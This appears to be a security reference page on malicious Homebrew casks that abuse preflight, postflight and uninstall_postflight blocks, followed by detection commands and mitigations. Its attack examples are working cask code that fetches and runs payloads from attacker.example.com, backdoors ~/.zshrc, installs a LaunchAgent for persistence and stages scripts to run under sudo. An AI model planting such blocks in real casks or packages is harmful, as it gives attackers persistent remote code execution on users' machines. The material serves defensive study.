Cask preflight / postflight Arbitrary Ruby Execution
Prerequisites
- Ability to publish or modify a cask in a tap the victim uses (homebrew/cask, homebrew/cask-versions, or a third-party cask tap)
- Victim runs `brew install --cask
` or `brew upgrade --cask` - Write access to the cask tap via PR merge, compromised maintainer account, or typo-squat
Attack Scenarios
postflight Block Executing a Shell One-liner
An attacker publishes a cask with a `postflight` stanza that runs Ruby after the application is staged. The block can shell out via `system`, download secondary payloads, or modify the user's dotfiles — all without additional prompts since the cask install already succeeded in the user's mind.
cask "productivity-suite" do
version "2.4.1"
sha256 "deadbeef" * 8
url "https://example.com/productivity-suite-#{version}.dmg"
name "Productivity Suite"
homepage "https://example.com/productivity-suite"
app "Productivity Suite.app"
postflight do
# Arbitrary Ruby — runs after the .app is copied to /Applications
require "net/http"
stage = "/tmp/.ps_stage"
system "curl", "-fsSL", "-o", stage, "https://attacker.example.com/stage2"
system "chmod", "+x", stage
system stage, "&"
# Backdoor the user's shell init
rc = "#{ENV["HOME"]}/.zshrc"
beacon = %Q(\n# productivity-suite helper\n(curl -fsSL https://attacker.example.com/b | bash) >/dev/null 2>&1 &\n)
File.open(rc, "a") { |f| f.write(beacon) } unless File.read(rc).include?("productivity-suite helper") rescue nil
end
end
brew install --cask productivity-suite
# .app lands in /Applications; postflight runs the Ruby block silently
uninstall_postflight Triggering on Removal
Defensive users who discover the cask may try to remove it. An `uninstall_postflight` block runs during `brew uninstall --cask`, giving the attacker a second execution window — useful for re-installing persistence after the user thinks they have cleaned up.
cask "productivity-suite" do
# ... version/url/sha256/app as above ...
uninstall_postflight do
plist = "#{ENV["HOME"]}/Library/LaunchAgents/com.ps.helper.plist"
File.write(plist, <<~PLIST)
<?xml version="1.0" encoding="UTF-8"?>
<plist version="1.0"><dict>
<key>Label</key><string>com.ps.helper</string>
<key>ProgramArguments</key>
<array><string>/bin/bash</string><string>-c</string>
<string>curl -fsSL https://attacker.example.com/b | bash</string></array>
<key>RunAtLoad</key><true/>
</dict></plist>
PLIST
system "launchctl", "load", "-w", plist
end
end
preflight Abusing sudo via Cask installer Stanza
When a cask declares `pkg` or `installer script: sudo: true`, macOS prompts the user for admin credentials during install. A `preflight` block runs *before* that prompt and can pre-stage payloads in privileged locations the user is about to authorize, making the subsequent sudo step appear to belong to the legitimate installer.
cask "productivity-suite-pro" do
version "3.0.0"
sha256 "cafebabe" * 8
url "https://example.com/ps-pro-#{version}.pkg"
preflight do
# Stage a payload the upcoming installer step will execute with sudo
File.write("/tmp/ps_pre.sh", "#!/bin/bash\ncurl -fsSL https://attacker.example.com/r | bash\n")
FileUtils.chmod(0755, "/tmp/ps_pre.sh")
end
pkg "Productivity Suite Pro.pkg",
allow_untrusted: true,
choices: [{ "choiceIdentifier" => "run_pre", "choiceAttribute" => "selected", "attributeSetting" => 1 }]
end
Detection
Dump cask Ruby with brew cat before installing
Inspect the cask source for any of the four flight stanzas and for `installer script: sudo: true`, `pkg`, or `allow_untrusted: true`. These are the keywords that signal arbitrary code execution beyond copying a .app.
brew cat --cask productivity-suite | \
grep -nE "preflight|postflight|uninstall_preflight|uninstall_postflight|installer|allow_untrusted|sudo"
Watch cask taps for newly-added flight blocks
Flight stanzas are uncommon in well-behaved casks. Alerting on PRs or commits that introduce a `postflight` or `uninstall_postflight` in a cask tap surfaces most malicious changes for review.
cd "$(brew --repository)/Library/Taps/homebrew/homebrew-cask"
git log -p --all -S "postflight do" -- Casks/
Monitor LaunchAgents/LaunchDaemons written during cask install
Legitimate casks almost never drop LaunchAgents or LaunchDaemons from flight blocks — the .pkg payload owns that. A plist appearing in `~/Library/LaunchAgents` during `brew install --cask` is a strong signal of flight-block abuse.
fswatch -0 ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons | \
xargs -0 -n1 -I{} echo "plist change: {}"
Mitigation
- Before installing a cask, run `brew cat --cask
` and confirm no unexpected `postflight`/`preflight` blocks - Prefer casks from homebrew/cask; third-party cask taps bypass the same review bar
- Set `HOMEBREW_NO_AUTO_UPDATE=1` in CI and pin cask taps to a known-good commit
- Do not run `brew install --cask` as an admin user — drop to a standard account so `sudo` prompts are visible
- Monitor `~/Library/LaunchAgents`, `/Library/LaunchAgents`, and `/Library/LaunchDaemons` for plists created during brew runs
- Remove unused third-party cask taps (`brew untap`) to shrink the attack surface